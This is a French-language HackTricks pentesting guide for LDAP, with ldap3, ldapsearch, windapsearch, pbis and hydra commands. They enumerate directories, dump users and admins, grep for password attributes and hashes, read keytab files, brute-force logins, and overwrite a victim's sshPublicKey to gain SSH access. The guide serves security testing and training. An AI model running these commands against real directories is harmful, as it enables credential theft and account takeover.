# 389, 636, 3268, 3269 - Pentesting LDAP {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} L'utilisation de **LDAP** (Lightweight Directory Access Protocol) est principalement destinĂ©e Ă  localiser diverses entitĂ©s telles que des organisations, des individus et des ressources comme des fichiers et des appareils au sein des rĂ©seaux, tant publics que privĂ©s. Il offre une approche rationalisĂ©e par rapport Ă  son prĂ©dĂ©cesseur, DAP, en ayant une empreinte de code plus petite. Les annuaires LDAP sont structurĂ©s pour permettre leur distribution sur plusieurs serveurs, chaque serveur hĂ©bergeant une version **rĂ©pliquĂ©e** et **synchronisĂ©e** de l'annuaire, appelĂ©e Agent de SystĂšme d'Annuaire (DSA). La responsabilitĂ© de la gestion des demandes incombe entiĂšrement au serveur LDAP, qui peut communiquer avec d'autres DSA si nĂ©cessaire pour fournir une rĂ©ponse unifiĂ©e au demandeur. L'organisation de l'annuaire LDAP ressemble Ă  une **hiĂ©rarchie d'arbre, commençant par le rĂ©pertoire racine en haut**. Cela se divise en pays, qui se divisent ensuite en organisations, puis en unitĂ©s organisationnelles reprĂ©sentant diverses divisions ou dĂ©partements, atteignant enfin le niveau des entitĂ©s individuelles, y compris les personnes et les ressources partagĂ©es comme des fichiers et des imprimantes. **Port par dĂ©faut :** 389 et 636 (ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par dĂ©faut sur les ports 3268 et 3269 pour LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP Data Interchange Format LDIF (LDAP Data Interchange Format) dĂ©finit le contenu du rĂ©pertoire comme un ensemble d'enregistrements. Il peut Ă©galement reprĂ©senter des demandes de mise Ă  jour (Ajouter, Modifier, Supprimer, Renommer). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Les lignes 1-3 dĂ©finissent le domaine de premier niveau local * Les lignes 5-8 dĂ©finissent le domaine de premier niveau moneycorp (moneycorp.local) * Les lignes 10-16 dĂ©finissent 2 unitĂ©s organisationnelles : dev et sales * Les lignes 18-26 crĂ©ent un objet du domaine et assignent des attributs avec des valeurs ## Écrire des donnĂ©es Notez que si vous pouvez modifier des valeurs, vous pourriez ĂȘtre en mesure d'effectuer des actions vraiment intĂ©ressantes. Par exemple, imaginez que vous **pouvez changer l'information "sshPublicKey"** de votre utilisateur ou de n'importe quel utilisateur. Il est trĂšs probable que si cet attribut existe, alors **ssh lit les clĂ©s publiques depuis LDAP**. Si vous pouvez modifier la clĂ© publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur mĂȘme si l'authentification par mot de passe n'est pas activĂ©e dans ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Sniffer les identifiants en texte clair Si LDAP est utilisĂ© sans SSL, vous pouvez **sniffer les identifiants en texte clair** dans le rĂ©seau. De plus, vous pouvez effectuer une attaque **MITM** dans le rĂ©seau **entre le serveur LDAP et le client.** Ici, vous pouvez rĂ©aliser une **attaque de rĂ©trogradation** afin que le client utilise les **identifiants en texte clair** pour se connecter. **Si SSL est utilisĂ©**, vous pouvez essayer de faire **MITM** comme mentionnĂ© ci-dessus en offrant un **faux certificat**. Si l'**utilisateur l'accepte**, vous pouvez rĂ©trograder la mĂ©thode d'authentification et voir Ă  nouveau les identifiants. ## AccĂšs anonyme ### Contourner la vĂ©rification SNI TLS Selon [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), simplement en accĂ©dant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme : ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonymous binds [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiĂ©s** de rĂ©cupĂ©rer des informations du domaine, telles qu'une liste complĂšte des utilisateurs, groupes, ordinateurs, attributs de compte utilisateur et la politique de mot de passe du domaine. C'est une **configuration hĂ©ritĂ©e**, et depuis Windows Server 2003, seuls les utilisateurs authentifiĂ©s sont autorisĂ©s Ă  initier des requĂȘtes LDAP.\ Cependant, les administrateurs ont pu avoir besoin de **configurer une application particuliĂšre pour permettre les liaisons anonymes** et ont donnĂ© plus que le montant d'accĂšs prĂ©vu, permettant ainsi aux utilisateurs non authentifiĂ©s d'accĂ©der Ă  tous les objets dans AD. ## Valid Credentials Si vous avez des identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur le Domain Admin en utilisant : [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## ÉnumĂ©ration ### AutomatisĂ© En utilisant cela, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Voir l'Ă©numĂ©ration LDAP avec python Vous pouvez essayer d'**Ă©numĂ©rer un LDAP avec ou sans identifiants en utilisant python** : `pip3 install ldap3` Tout d'abord, essayez de **vous connecter sans** identifiants : ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Si la rĂ©ponse est `True` comme dans l'exemple prĂ©cĂ©dent, vous pouvez obtenir des **donnĂ©es intĂ©ressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) Ă  partir de : ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requĂȘtes plus intĂ©ressantes. Cette requĂȘte simple devrait vous montrer tous les objets dans le rĂ©pertoire : ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Ou **dump** l'ensemble de ldap : ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **Ă©numĂ©rer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows** en utilisant des requĂȘtes LDAP. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch VĂ©rifiez les identifiants nuls ou si vos identifiants sont valides : ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Si vous trouvez quelque chose disant que le "_bind doit ĂȘtre complĂ©tĂ©_" signifie que les identifiants sont incorrects. Vous pouvez extraire **tout d'un domaine** en utilisant : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extraire **utilisateurs** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extraire **ordinateurs** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **mes informations** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **Domain Admins** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **Domain Users** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **Enterprise Admins** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **Administrateurs** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extraire **Remote Desktop Group** : ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Pour voir si vous avez accĂšs Ă  un mot de passe, vous pouvez utiliser grep aprĂšs avoir exĂ©cutĂ© l'une des requĂȘtes : ```bash | grep -i -A2 -B2 "userpas" ``` Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas ĂȘtre les rĂ©els... #### pbis Vous pouvez tĂ©lĂ©charger **pbis** ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est gĂ©nĂ©ralement installĂ© dans `/opt/pbis`.\ **Pbis** vous permet d'obtenir des informations de base facilement : ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Interface Graphique ### Apache Directory [**TĂ©lĂ©chargez Apache Directory ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple d'utilisation de cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer Vous pouvez tĂ©lĂ©charger une interface graphique avec le serveur LDAP ici : [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Par dĂ©faut, il est installĂ© dans : _/opt/jxplorer_ ![](<../.gitbook/assets/image (482).png>) ### Godap Vous pouvez y accĂ©der Ă  [https://github.com/Macmod/godap](https://github.com/Macmod/godap) ## Authentification via kerberos En utilisant `ldapsearch`, vous pouvez **vous authentifier** contre **kerberos au lieu** de via **NTLM** en utilisant le paramĂštre `-Y GSSAPI` ## POST Si vous pouvez accĂ©der aux fichiers oĂč les bases de donnĂ©es sont contenues (cela pourrait ĂȘtre dans _/var/lib/ldap_). Vous pouvez extraire les hashes en utilisant : ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` Vous pouvez alimenter john avec le hachage de mot de passe (de '{SSHA}' Ă  'structural' sans ajouter 'structural'). ### Fichiers de Configuration * GĂ©nĂ©ral * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 serveur * V3.sas.oc * Microsoft Active Directory serveur * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP serveur de rĂ©pertoire * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks Commandes Automatiques ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ``` {% hint style="success" %} Apprenez et pratiquez le Hacking AWS :[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Apprenez et pratiquez le Hacking GCP : [**Formation HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks * Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) ! * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts github.
{% endhint %}